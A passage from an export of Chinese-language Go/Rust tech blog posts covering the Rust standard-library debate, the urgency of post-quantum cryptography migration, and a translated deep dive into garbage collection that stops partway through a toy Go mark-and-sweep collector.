事件和各种开源投毒攻击的阴影笼罩全球，这套模式的代价也变得越来越难以承受。\n原帖作者一针见血地指出了所有人的噩梦：\n“是的，你可以采取各种缓解措施。但等你发现某个藏在你依赖树第三层的、不起眼的包被植入了恶意软件时，你的服务器密钥可能早就被偷光了！”\n评论区里的一位开发者用一句话概括了所有人的痛点：\n“我完全同意。有时候 std 里就是缺了那么一点至关重要的东西。我能理解这背后的原因，但为了生成一个随机数就要去装一个第三方包，这实在有点小题大做了。”\n这正是 Rust 开发者面临的尴尬：当你只是想生成一个 UUID，或者发起一个 HTTP 请求时，你被迫要对 rand、reqwest、tokio 这些由社区个人或小团体维护的库，付出与 Rust 官方核心团队同等级别的“信任”。\n而这种信任，正在变得越来越昂贵和危险。\n隔壁的诱惑：Go 语言的“大一统”模式 在这场大讨论中，一个名字被反复提及，它就是 Go 语言。\nGo 从诞生之初，就选择了与 Rust 截然相反的“自带电池（Batteries Included）”哲学。\n你想做 Web 开发？net/http 原生支持，性能强大到可以直接裸奔在生产环境。 你想做 JSON/XML 解析？encoding/json(以及实验性的encoding/json/v2)、encoding/xml 是标配。 你想做并发？goroutine 和 channel 是语言级原生特性。 你想生成随机数？math/rand、crypto/rand 随便用。 评论区里，一位 Rust 开发者的对比极其扎心：\n“把恶意代码偷偷塞进一个（流行的）Crate 的第四层依赖里，比把它塞进 Rust 的 std 里要容易得多。”\nGo 语言通过一个庞大、稳定、由官方核心团队直接维护的标准库，为开发者提供了一道坚固的“安全护城河”。你可以在不引入任何一个第三方依赖的情况下，构建出一个功能极其完备、性能强大的高并发网络服务。\n这种“开箱即用”的安全感和便利性，对于那些深受供应链安全审计折磨的企业开发者来说，是致命的诱惑。\n社区的挣扎：当“保守”成为“瓶颈” 面对社区的“呐喊”，Rust 核心团队的成员和社区大佬们也纷纷下场，给出了极其理性和深刻的解释。他们的回复，揭示了 Rust 在标准库扩张上，面临的“三重枷锁”。\n枷锁一：向后兼容性的“诅咒”\n一位核心成员引用了 Python 社区的一句名言：\n“标准库，是模块最终的坟场（The standard library is where modules go to die）。”\n一旦一个 API 进入了 std，它就必须背上永不破坏向后兼容的沉重承诺。哪怕 10 年后发现这个设计有缺陷，也只能眼睁睁地看着它腐烂，或者推出一个 urllib2、urllib3 这样极其丑陋的补丁。\nRust 团队宁愿让这些库在社区里自由进化、大浪淘沙，等到它们的设计真正成熟、稳定到可以“永恒”时，再考虑纳入 std。比如 once_cell 和最新的 rand（目前在 nightly 版本中）。\n枷锁二：无休止的“维护地狱”\n另外一名核心成员指出，将一个库纳入 std，意味着它的维护成本将全部转移到人数本就捉襟见肘的官方维护者身上。而在社区，每个 Crate 都有自己专门的维护者。这是两种完全不同的成本模型。\n枷锁三：设计的“过早僵化”\n最典型的例子就是异步。原帖作者提议：“Rust 能不能偷一下 Zig 的 IO 思想，这样我们就不需要在 Tokio 和 non-Tokio 生态之间分裂了？”\n一位社区大佬立刻反驳：Zig 没有 Rust 的 Send/Sync 标记，两者的异步模型有本质区别。Rust 的异步生态之所以看起来“分裂”，恰恰是语言给了开发者在不同场景下做最优选择的自由。如果过早地在 std 里统一一个官方运行时，反而会扼杀创新。\n破局之路：从“大一统”到“邦联制” 在这场激烈的辩论中，一些极具建设性的“折中方案”也开始浮现。这或许预示着 Rust 未来的演进方向。\n方案一：官方背书的“准标准库（Semi-official）”\n一位开发者提出，Rust 项目组可以借鉴 C++ Boost 库的模式，官方接管 serde、rand、tokio 这些“钦定”的明星库，将它们纳入一个统一的 extd (extended) 命名空间下。\nuse extd::regex::Regex; use extd::rand; 这并不会增加 std 的体积，但给了这些库一个“官方认证”的金字招牌，极大地解决了开发者的信任和审计问题。\n方案二：引入“孵化期（Incubation Phase）”\n一位开发者建议，应该有一个更明确的孵化流程，让那些有潜力进入 std 的库，先在一个类似 Go golang.org/x 的“实验场”里进行检验，而不是直接从某个个人开发者仓库里一步登天。\n方案三：强化 Cargo 的安全审计能力\n一些核心成员则认为，问题的根源不在于 std 的大小，而在于 crates.io 的分发机制不够安全。与其“因噎废食”地把所有东西都塞进 std，不如去建立更强大的包安全审计机制，比如：\n发布隔离期：新发布的包必须经过 72 小时自动化扫描才能被下载。 签名与信任链：通过 cargo 增强包签名和审计者签名，让企业可以选择只使用“可信审计者”批准的依赖列表。 小结：一场关于“灵魂”的拷问 这场由“非主流观点(Unpopular Opinion)”引发的大讨论，表面上是在争论标准库的大小，但其核心，却是一场关于 Rust 与 Go 两种截然不同建国哲学的灵魂拷问。\nGo 语言，像一个大一统的、中央集权的帝国。它为你提供了从道路、货币到度量衡的一切基础设施。你享受着极高的安全感和便利性，代价是必须忍受它某些时候的“独裁”与“不灵活”。 Rust 语言，则更像一个松散的、充满活力的城邦联盟。官方只提供最基础的法律和军队，剩下的一切都交给各个城邦（Crates）自由发展。你拥有无与伦比的自由和选择权，代价是你必须自己承担选择的风险，并时刻提防“外敌入侵”（供应链攻击）。 这两种哲学没有绝对的优劣，只有不同场景下的取舍。\n但 Rust 社区的这场“请愿”，无疑为我们所有技术人敲响了警钟：在软件供应链日益脆弱的今天，一个强大、可靠、由顶级专家背书的“官方基础设施”，其价值正在被无限放大。\n或许，Rust 的未来，真的需要在“自由”与“安全”之间，找到一个新的平衡点。而隔壁 Go 的作业，他们可能真的需要抄一抄了。\n资料链接：https://www.reddit.com/r/rust/comments/1seu7p2/unpopular_opinion_rust_should_have_a_larger/\n今日互动探讨：\n在你的日常开发中，你是更喜欢 Go 这种“自带电池”的大标准库模式，还是 Rust 这种“小核心+强生态”的自由模式？你是否也曾因为“拉了一堆三方库”而感到安全焦虑？\n欢迎在评论区分享你的看法!\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/04/09/stop-being-small-and-beautiful-rust-petition-to-learn-from-go/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/stop-being-small-and-beautiful-rust-petition-to-learn-from-go-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/04/09/stop-being-small-and-beautiful-rust-petition-to-learn-from-go\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/04/09/stop-being-small-and-beautiful-rust-petition-to-learn-from-go\"\u003ehttps://tonybai.com/2026/04/09/stop-being-small-and-beautiful-rust-petition-to-learn-from-go\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e如果你之前经常听 Go 社区最火的播客 \u003ca href=\"https://changelog.com/gotime/\"\u003eGoTime\u003c/a\u003e(很遗憾，该播客2024年末因平台原因停播了)，你一定会熟悉每期节目最后的那个经典环节——“Unpopular Opinion”（非主流观点）。在这个环节，嘉宾们会分享一些看似离经叛道、却往往一针见血的“暴论”。\u003c/p\u003e","title":"别搞“小而美”了！Rust 开发者请愿：求求标准库学学 Go 吧"},{"content":"\n本文永久链接 – https://tonybai.com/2026/04/08/perspective-on-quantum-computing-timelines\n大家好，我是Tony Bai。\n过去三十年，我们一直活在一个笑话里：“能够破解 RSA 加密的量子计算机，永远在十年之后。”\n作为一名软件工程师，我曾和你们中的大多数人一样，对所谓的“量子末日（Q-Day）”嗤之以鼻。我们觉得，在有生之年，我们赖以生存的 RSA、ECC 加密体系坚不可摧，那一天遥遥无期。\n但就在昨天（2026年4月6日），这个笑话，似乎被终结了。\nGo 语言前核心团队安全负责人、Go密码学专家之一 Filippo Valsorda，在他的个人博客上发表了一篇极其沉重的文章。\n在文章的开头，他用一种近乎“忏悔”的口吻写道：\n“在推出抗量子密码学的紧迫性上，我的立场与几个月前相比，已经发生了改变。……是时候公开表明并解释我改变想法的原因了。”\n在这篇长文中，Filippo 引用了 Google 和 Oratomic 上周刚刚发表的两篇重磅论文，以及多位顶级物理学家的最新警告，最终得出了一个令整个软件工程界脊背发凉的结论：我们不再拥有十年。具备破解当前所有主流加密算法能力的量子计算机（CRQC），其到来的时间线，已经被一些顶级专家压缩到了一个令人绝望的数字——2029 年。\n是的，只剩下 33 个月。\n今天，就让我们跟随这位曾经的“官方守护者”的视角，看看这场已经兵临城下的“加密世界末日”，到底是怎么回事，以及我们作为普通的后端开发者，该如何在这场史无前例的迁移中生存下来。\n冰山撞来：Google 的论文与被撕碎的幻想 Filippo 指出，在过去的一周里，两篇论文彻底改变了游戏规则。\n第一篇，来自 Google。 这篇论文极大地修正了破解 256 位椭圆曲线（如我们每天都在用的 HTTPS 证书、比特币签名 secp256k1）所需的逻辑量子比特（qubits）和门电路数量。结论是：在超导量子比特这种高速架构上，攻击可以在几分钟内完成。\n第二篇，来自 Oratomic。 这篇论文更加激进。它指出，如果拥有非局部连接能力（如中性原子方案），破解 256 位椭圆曲线甚至只需要 10,000 个物理量子比特。这种攻击虽然更慢，但哪怕一个月只能破解一个密钥，也足以引发灾难。\n那张出现在论文第二页、堪称“末日倒计时”的图表，清晰地展示了攻破 RSA-2048 和 ECC-256 所需的物理量子比特数，正在以肉眼可见的速度急剧下降。\nFilippo 坦言：“我不是物理学家，我看不懂论文里所有的物理学原理。但我的工作是风险评估。我知道的是，至少有一部分真正的专家正在告诉我们：硬件在变好，算法在变便宜，纠错要求在降低。一切都在加速。”\n精英的警告：当你还在嘲笑，他们已经开始行动 更让 Filippo 感到警惕的，不是冷冰冰的论文，而是行业顶尖精英们近乎“反常”的表态。\nGoogle 的安全总监 Heather Adkins 和 Sophie Schmieg 公开宣布，他们的最后期限是 2029 年。Filippo 强调：“在此之前，从没有人给出过如此激进的时间表。” 著名的量子计算理论家 Scott Aaronson，将当前的状态比作 1939 年到 1940 年之间——那段时间，关于核裂变研究的公开发表突然在全球范围内“神秘消失”了。 Scott Aaronson 更是抛出了一个灵魂拷问，戳破了所有人的侥幸心理： “一旦你理解了量子容错，再问‘你什么时候能用 Shor 算法分解 35？’，就好像在 1943 年问曼哈顿计划的物理学家‘你什么时候能搞出一次小小的核爆？’一样可笑。”\nFilippo 写道，如果你还在想“这事儿可能成，也可能不成”，那你已经输了。\n现在的赌注不是“你 100% 确定 2030 年会有量子计算机吗？”，而是**“你 100% 确定 2030 年绝对不会有吗？你敢拿你所有用户的身家性命去赌那不到 1% 的可能性吗？”**\nSNDL 攻击：你的数据，正在被黑客“先存后破” 为什么我们必须立刻行动？因为黑客们正在疯狂执行一种极其阴险的战略：“Store Now, Decrypt Later”（先收集，后破解，SNDL）。\n他们把现在通过网络截获的、由 RSA/ECC 加密的、看似安全的核心机密数据（比如你的银行交易、公司的商业合同、国家的敏感情报）全部存储在巨大的硬盘阵列里。\n等几年后量子计算机成熟，他们就能在一瞬间，把这些尘封的历史数据全部解开，一览无余。\n这意味着，我们今天发送的每一封加密邮件，每一次 HTTPS 访问，都在为未来的某一次“数字考古”提供素材。\n行动指南：我们必须立刻开始“造船” 面对这场已经兵临城下的风暴，Filippo 作为Go 密码学界的专家，给出了极其具体、甚至有些“痛苦”的行动指南。\n1. 密钥交换（Key Exchange）：立即迁移到 ML-KEM\n这是抵御 SNDL 攻击的第一道防线。Filippo 强调，任何非抗量子的密钥交换（如经典的 ECDH）都应被视为潜在的“主动破解”行为，并像 OpenSSH 那样向用户发出明确警告。\n2. 数字签名（Digital Signatures）：硬着头皮上 ML-DSA，放弃幻想\n这是最痛苦的部分。Filippo 不无遗憾地承认，他原本希望我们能有更多时间去设计更优雅的、适应大签名体积的协议。但现在，没时间了。\n我们必须接受 ML-DSA 签名体积巨大（几千字节，而 ECDSA 只有几十字节）的残酷现实，并开始在为小签名设计的协议（如 X.509 证书）中强行塞入这些“肥胖”的签名。\n他甚至激进地提出：应该彻底放弃“混合签名”（经典+后量子）的过渡方案，直接一步到位使用纯 ML-DSA-44。因为混合签名带来的复杂性和性能开销，已经超过了它能提供的那点微不足道的“对冲”收益。\n3. 对 Go 开发者意味着什么？\nFilippo 直言不讳：\n“在我的世界里，我们必须开始思考，Go 标准库中一半的密码学包突然变得不安全意味着什么。……这是我们职业生涯中从未遇到过的事情：从 SHA-1 到 SHA-256 的迁移，远没有这次这么具有破坏性。”\n这意味着，我们很快就要在 Go 的 crypto/tls, crypto/x509, x/crypto/ssh 中看到翻天覆地的变化。\n小结： weird, but it is what it is 在文章的结尾，Filippo 提到，他本周刚刚开始在博洛尼亚大学教授一门密码学博士课程。他告诉学生，RSA、ECDSA 这些我们曾经引以为傲的算法，现在只能作为“遗留算法（Legacy Algorithms）”来介绍了。\n他写道：“我知道，这感觉很奇怪。但，现实就是如此（it is what it is）。”\nFilippo 的这声叹息，既是对一个技术时代的告别，也是对我们所有软件工程师拉响的高级别警报。\n当 Go 语言前核心团队的安全负责人、一个以极度严谨和保守著称的密码学专家，都开始用如此紧迫的口吻催促我们行动时，我们没有理由再把头埋在沙子里，假装危机还很遥远。\n那艘名为“量子计算”的巨轮，已经出现在了海平面上。现在不是争论它会不会撞上来的时候，现在是立刻开始造救生艇的时候。\n资料链接：\nhttps://words.filippo.io/crqc-timeline/ https://research.google/blog/safeguarding-cryptocurrency-by-disclosing-quantum-vulnerabilities-responsibly/ https://arxiv.org/abs/2603.28627 今日互动探讨：\n在你的公司或个人项目中，有哪些核心数据是绝对不能在 5-10 年后被解密的？面对这场迫在眉睫的密码学大迁移，你觉得我们应该从哪个环节开始着手准备？\n欢迎在评论区分享你的看法和焦虑！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/04/08/perspective-on-quantum-computing-timeline/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/perspective-on-quantum-computing-timeline-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/04/08/perspective-on-quantum-computing-timeline\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/04/08/perspective-on-quantum-computing-timelines\"\u003ehttps://tonybai.com/2026/04/08/perspective-on-quantum-computing-timelines\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e过去三十年，我们一直活在一个笑话里：\u003cstrong\u003e“能够破解 RSA 加密的量子计算机，永远在十年之后。”\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e作为一名软件工程师，我曾和你们中的大多数人一样，对所谓的“量子末日（Q-Day）”嗤之以鼻。我们觉得，在有生之年，我们赖以生存的 RSA、ECC 加密体系坚不可摧，那一天遥遥无期。\u003c/p\u003e","title":"倒计时 33 个月？Go 前安全负责人：量子计算机将“摧毁”互联网"},{"content":"\n本文永久链接 – https://tonybai.com/2026/04/07/garbage-collectors-deep-dive\n大家好，我是Tony Bai。\n为什么 Java 的 G1GC 需要设置停顿目标？Go 的混合写屏障是如何消除栈重扫的？Python 又是如何解决引用计数无法处理的循环引用？\n垃圾回收（GC）不仅是语言运行时的核心，更是理解高性能系统绕不开的坎。\n本文翻译自Shubham Raizada的文章《Garbage Collection: From First Principles to Modern Collectors in Java, Go and Python》。\n此文通过对历史经典论文的溯源和对现代主流语言底层实现的拆解，构建了一套完整的 GC 知识体系。\n文章涵盖了从基础的标记-清除、复制与整理算法，到复杂的三色标记抽象、写屏障机制以及有色指针技术。\n无论你是想调优 JVM 性能，还是试图理解 Go 并发垃圾收集的吞吐成本，这篇文章都将为你提供从理论支撑到代码实现的全景视角。\n以下是译文全文：\n在过去的几年里，我的技术栈经历了从 Java 到 Go，再到 Rust，现在又回到了 Java 的过程。\n在这些语言之间切换时，一直绕不开的一个话题就是垃圾回收（Garbage Collection, GC）。Java 和 Go 有 GC，而 Rust 没有。\n在基准测试、延迟讨论以及“为什么这个服务变慢了”的对话中，GC 总会出现在某个角落。我经常听到关于 GC pauses（GC 停顿）、throughput overhead（吞吐量开销）和 write barriers（写屏障）的讨论，但我并不完全理解底层发生了什么。\n在追溯起源时，我读到了 McCarthy 1960 年的论文，这篇论文因引入 Lisp 而闻名，但它也是首次描述 mark-and-sweep（标记-清除）的地方。\n这又引导我阅读了 Wilson 1992 年的综述《Uniprocessor Garbage Collection Techniques》，该文将随后的所有发展组织成了一个清晰的分类学。\n阅读这两篇文献让我更容易理解现代垃圾收集器，因为 G1GC、ZGC、Go 的并发收集器以及 CPython 的混合方案全都是这些论文所描述思想的变体。我还用 Go 编写了一个简单的玩具级 GC，以便亲自观察其机制。\n以下是我在这一过程中的笔记。\n起源论文 McCarthy (1960): Recursive Functions of Symbolic Expressions and Their Computation by Machine 这篇论文因引入 Lisp 而闻名，但垃圾回收器几乎是作为实现细节被埋藏在其中的。McCarthy 需要一种方法来管理符号表达式的内存。Lisp 程序操作的是嵌套的列表（lists of lists of lists），这种递归结构使得要求程序员手动释放内存变得不切实际。因此，他描述了一种自动执行此操作的机制。\n该机制分为两个阶段。首先，从程序正在活跃使用的 root（根）变量开始，遍历它们引用的每一个对象，将每个对象标记为 reachable（可达）。其次，扫描所有内存。任何未被标记的对象都是垃圾。将它们重新添加回 free list（空闲列表）。\n这就是 mark-and-sweep（标记-清除）。它能自然地处理 cycles（循环引用，因为不可达的循环永远不会被标记），不需要逐个对象的簿记工作，并让程序员可以完全忽略内存管理。\n其代价是程序在收集器运行时必须完全停止。每一次分配、每一次计算，所有一切都会冻结，直到标记和清除完成。对于 McCarthy 在 1960 年编写的程序来说，这完全是合理的。\n随着程序规模变大并进入对延迟敏感的环境（如处理每秒数千次请求的 Web 服务器），stop-the-world（全线停顿）成了一个难以接受的权衡。现代 GC 研究产生的大部分成果都是为了回答一个问题：如何在不停止世界的情况下进行垃圾内存回收？\nWilson (1992): Uniprocessor Garbage Collection Techniques 到 1992 年，三十年的 GC 研究已经产生了许多想法，但缺乏统一的词汇。Wilson 的综述论文将这一切组织了起来。它不是一种新算法，而是一个分类学，为散落在几十年论文中的思想赋予了名称和结构。\nWilson 正式确立了所有后续算法构建其上的三种经典算法。\n第一种是 mark-and-sweep（标记-清除），即 McCarthy 的原始算法。从 roots 开始，遍历对象图，标记你能触达的所有内容，然后扫过堆并释放任何未标记的内容。它自然处理循环引用，实现简单。缺点是经过足够多的分配和回收循环后，堆会变得 fragmented（碎片化）。存活对象最终散落在各处，中间夹杂着细小的空闲间隙，分配器(allocator)必须更费力地寻找空间。\n第二种是 copying（复制算法），有时被称为 semi-space（半空间）。其想法是将堆分成两个相等的部分。你在其中一半进行分配，当它填满时，将所有存活对象拷贝到另一半，然后将第一半完全丢弃。碎片消失了，因为存活对象在拷贝过程中被紧密排列在一起。分配速度很快，因为你只需移动一个 bump pointer（碰撞指针）。代价是有一半的内存始终处于空闲状态，等待成为下一次拷贝的目标。\n第三种是 reference counting（引用计数）。每个对象都记录有多少个指针指向它。当创建一个新引用时，计数增加；当移除一个引用时，计数减少。当计数归零时，对象立即被释放。没有追踪过程，没有停顿，销毁是确定性的。问题在于 cycles（循环引用）。如果两个对象相互指向，即使程序中没有任何其他部分可以触达它们，它们的计数也至少为 1。仅靠引用计数，它们永远不会被释放。\n除了这三种算法，Wilson 还探讨了现代垃圾回收器赖以生存的两个观察结果。\n第一个是 generational hypothesis（分代假说）：大多数对象死得早。在实践中，程序分配的临时对象（中间值、请求作用域的缓冲区、循环变量）往往很快变成垃圾，而只有一小部分对象会贯穿整个程序生命周期。如果你频繁回收年轻对象，偶尔回收老对象，你就能将大部分工作集中在堆中主要是垃圾的部分，这比每次都扫描所有内容的代价要小得多。\n第二个是 tricolor marking（三色标记），这是一种用于增量和并发收集的抽象。你不再简单地将对象标记为已访问或未访问，而是使用三种颜色：white（白色，尚未见到）、grey（灰色，已见到但子节点尚未扫描）和 black（黑色，已完全处理）。收集器一次处理一个灰色对象。结束时，白色对象即为垃圾。这种抽象使得收集器和应用程序可以同时运行，而不会破坏彼此对堆的视图。Go 的并发 mark-and-sweep 和 ZGC 的并发标记都是这一思想的直接后裔。\n本文“现代 GC”部分中的所有内容都可以映射回 Wilson 的分类。工程实现已经变得更加复杂，但底层结构依然如故。\n两种基本方法 几乎所有的垃圾回收器要么是 reference counting（引用计数），要么是 tracing（追踪），或者是两者的某种结合。Wilson 的论文围绕这一划分进行组织，三十年后依然成立。\nReference Counting (引用计数) 每个对象维护一个指向它的引用计数。当引用创建时，计数增加。当引用移除时，计数减少。当计数归零时，对象立即被释放。\n这是 CPython 所使用的其主要机制。它很简单，并能提供确定性的销毁。当指向文件句柄的最后一个引用消失时，del 运行，文件当场关闭，而不是在以后的某个 GC cycle中。\n有两个问题使得引用计数无法独立胜任。\nCycles (循环引用)。 如果对象 A 指向对象 B，且对象 B 指向 A，那么即使程序中没有任何其他部分能触达它们，两者的计数也至少为 1。两者都不会被释放。\n这并非理论上的边缘案例。循环引用在链表数据结构、父子关系、观察者模式和缓存中自然出现。稍后在介绍 CPython 的 GC 时，我将讨论 Python 如何处理这个问题。\nPer-mutation overhead (每次修改的开销)。 每次指针赋值都需要更新引用计数。在多线程程序中，这些必须是 atomic（原子）操作，成本昂贵得多。每当你将对象传递给函数、返回它或将其赋值给字段时，你都要支付这种代价。\nTracing (追踪式，即 Mark-and-Sweep) 追踪式收集器不跟踪单个引用，而是从一组已知的存活引用（称为 root set，根集合）开始，遍历整个对象图。它能触达的每个对象都被标记为存活。其他所有对象都被释放。\nRoot set 是起点，因此什么算作 root（根）至关重要。不同语言的答案是相同的：root 是 runtime（运行时）无需追踪就能找到的任何引用。这些指针锚定在程序当前的执行状态中，是在任何遍历开始之前你就知道是存活的东西。\n在实践中，roots 分为以下几类。\n每个活跃 stack frame（栈帧）中的 local variables（局部变量）和函数参数都是 roots。程序正在活跃地运行这些函数，因此它们引用的任何内容定义上都是在使用中的。\nGlobal and static variables（全局变量和静态变量）是 roots，因为它们在程序的整个生命周期内都存在。\nCPU registers（CPU 寄存器）是 roots。因为当 JIT 编译器优化一个热点方法时，它可能会将频繁访问的对象引用保留在 CPU 寄存器中，而不是写回栈。如果 GC 此时运行，寄存器保存着该对象的唯一存活引用。如果 GC 不扫描寄存器，它就会释放一个仍在使用中的对象。为了防止这种情况，运行时在代码中定义了 safe points（安全点），GC 只能在这些点发生，并且在这些点，它会快照寄存器状态以寻找持有的任何引用。\nRuntime（运行时）本身也持有与用户代码无关的 roots。在 JVM 中，class loaders 是 roots：你加载的每个类都由其类加载器引用，只要类加载器存活，它加载的每个类（包括它们的静态字段）就保持存活。Interned strings（常量池字符串）是 roots，因为 String.intern() 将字符串存储在 JVM 维护的共享池中。JNI handles 是 roots，因为当原生 C 或 C++ 代码通过 Java Native Interface 持有 Java 对象的引用时，该引用存在于 Java 堆外的句柄表中，GC 必须扫描它。每个活跃线程都是一个 root，其整个调用栈帧都是 root set 的一部分。\nGo 的运行时遵循同样的原则。每个 goroutine 都有自己的栈，必须扫描所有 goroutine 栈以寻找 roots。运行时还跟踪自己的内部数据结构，例如 finalizer 队列，作为 root set 的一部分。\n核心见解是：roots 是由运行时在无需追踪的情况下就已经知道是存活的东西定义的。其他所有东西必须通过从 root 可达来证明自己的生存权。这就是为什么这个概念是与语言无关的。Java、Go 和 Python 之间的具体 roots 集合有所不同，但原则是一样的：从你知道是存活的地方开始，向外追踪，并回收其余部分。\n循环引用被自然处理。如果 A 和 B 相互指向，但都无法从任何 root 到达，则标记阶段永远不会访问它们。它们保持未标记状态并被清除。\n代价：朴素的 mark-and-sweep 必须在追踪堆时暂停整个程序。这种 stop-the-world（全线停顿）是早期垃圾回收器的核心问题，也是现代 GC 几十年来工程化改进的重点。\n为什么大多数现代 GC 都是追踪式的 在具有高分配速率的服务器工作负载中，引用计数的逐次修改成本会积少成多。每次指针写入都会增减计数。在多线程程序中，这些更新必须是原子的，而原子操作很昂贵。在数十个线程中每秒进行数千次分配时，这种开销变得可衡量。此外，循环引用问题无论如何都需要一个补充的追踪步骤。而且追踪式收集器可以做成并发的，在应用程序运行的同时运行，只有简短的停顿。\nJava 和 Go 使用追踪式收集器。Python 是一个显著的例外，它以引用计数为基础，并在此之上增加了一层用于追踪循环引用的检测器。\n追踪式的变体 Wilson 的论文描述了实现追踪的四种方式，每种方式都有不同的权衡。\nMark-Sweep (标记-清除) 最简单的追踪式收集器。分为两个阶段：\nMark (标记)： 从 roots 开始，遍历对象图并在每个可达对象上设置标记位。 Sweep (清除)： 遍历整个堆。任何没有标记位的对象都是垃圾。释放它并将内存添加回空闲列表。 Mark-sweep 的主要问题是 fragmentation（碎片化）。经过足够的回收周期后，堆看起来就像瑞士奶酪：存活对象散布其间，中间有很小的空闲间隙。你总共可能有 100MB 空闲内存，但没有一个连续的块大到足以满足一次新分配。分配器必须维护一个 free list 并搜索合适的空间，随着堆变得碎片化，这会变慢。\nCopying (Semi-Space，复制算法/半空间) 堆被分成两个相等的一半：from-space（源空间）和 to-space（目标空间）。分配发生在 from-space，使用简单的 bump pointer（碰撞指针）。当 from-space 填满时，收集器将所有存活对象拷贝到 to-space，更新所有指针，然后交换两者的角色。旧的 from-space 被完全丢弃。\n分配速度极快，因为它只是一个指针移动。Compaction（压缩）自然发生。代价是任何时候只有一半的堆可用。\nMark-Compact (标记-整理) 标记阶段与 mark-sweep 相同，但收集器不是简单地释放未标记的对象，而是将所有存活对象滑动到堆的一端。这消除了碎片，且没有复制算法 50% 的内存开销。\n缺点是整理需要对堆进行多次扫描：一次标记，一次计算新地址，一次更新所有指针，一次移动对象。\nThe Generational Hypothesis (分代假说) Wilson 论文中最具影响力的观察之一是弱分代假说：大多数对象死得早。\n在典型的 Web 服务器中，每个请求都会创建临时对象（解析器、中间字符串、响应构建器），它们只存活几毫秒。配置对象、连接池和缓存则贯穿整个应用程序生命周期。\n分代收集器利用这一点，将堆划分为 generations（代）。新对象进入 young generation（年轻代）。如果它们在几次回收中幸存下来，就会被提升到 old generation（老年代）。年轻代回收频繁且速度快，因为那里的大多数对象已经死了。老年代回收较少发生。\nEden 是所有新对象出生的地方。每一个 new Object() 都去这里。它很快就会填满，因为大多数程序分配速率很高。\nS0 和 S1 是两个较小的 survivor spaces（幸存者空间）。当 Eden 填满并运行 minor GC（次要回收）时，收集器将 Eden 中的每个存活对象拷贝到其中一个空间（比如 S0）。下一次回收时，来自 Eden 和 S0 的幸存者被拷贝到 S1。再下一次，回到 S0。它们在每个周期轮换。这是年轻代中的复制算法：没有碎片，没有空闲列表，只有两半空间轮流充当目标。代价是你需要两个幸存者空间，但它们保持得很小，因为到回收运行时，Eden 中的大多数对象都已经死了。\nPromotion to old generation (提升到老年代)。 在对象在 S0 和 S1 之间反弹足够多次之后（JVM 中的默认阈值是 15 次），收集器认定它已赢得了一席之地，并将其提升到老年代。老年代回收频率低得多，并且使用更重的算法（标记-整理而非复制），因为那里的对象庞大且长寿。\n关键的实现挑战是跟踪从老对象到新对象的引用。如果一个老对象指向一个年轻对象，即使没有年轻代 root 指向它，该年轻对象也绝不能被回收。这通过 write barrier（写屏障）解决，即在每次指针写入时注入的一小段代码，用于在 remembered set（记录集）中记录跨代引用。\n用 Go 构建一个玩具级 Mark-and-Sweep GC 我写了一个极简的 mark-and-sweep 收集器来使这些概念具体化。它大约有 70 行代码，演示了完整循环：分配对象、构建对象图、从 roots 标记以及清除不可达对象。\npackage main import \u0026#34;fmt\u0026#34; // Object 代表一个在堆上分配的对象。 type Object struct { name string marked bool children []*Object } // VM 是一个带有垃圾回收器的微型虚拟机。 type VM struct { heap []*Object roots []*Object // 模拟栈变量和全局变量 } // NewObject 在 VM 的堆上分配一个对象。 func (vm *VM) NewObject(name string) *Object { obj := \u0026amp;Object{name: name} vm.heap = append(vm.heap, obj) return obj } // mark 从每个 root 开始遍历并标记所有可达对象。 func (vm *VM) mark() { for _, root := range vm.roots { vm.markObject(root) } } func (vm *VM) markObject(obj *Object) { if obj == nil || obj.marked { return } obj.marked = true for _, child := range obj.children { 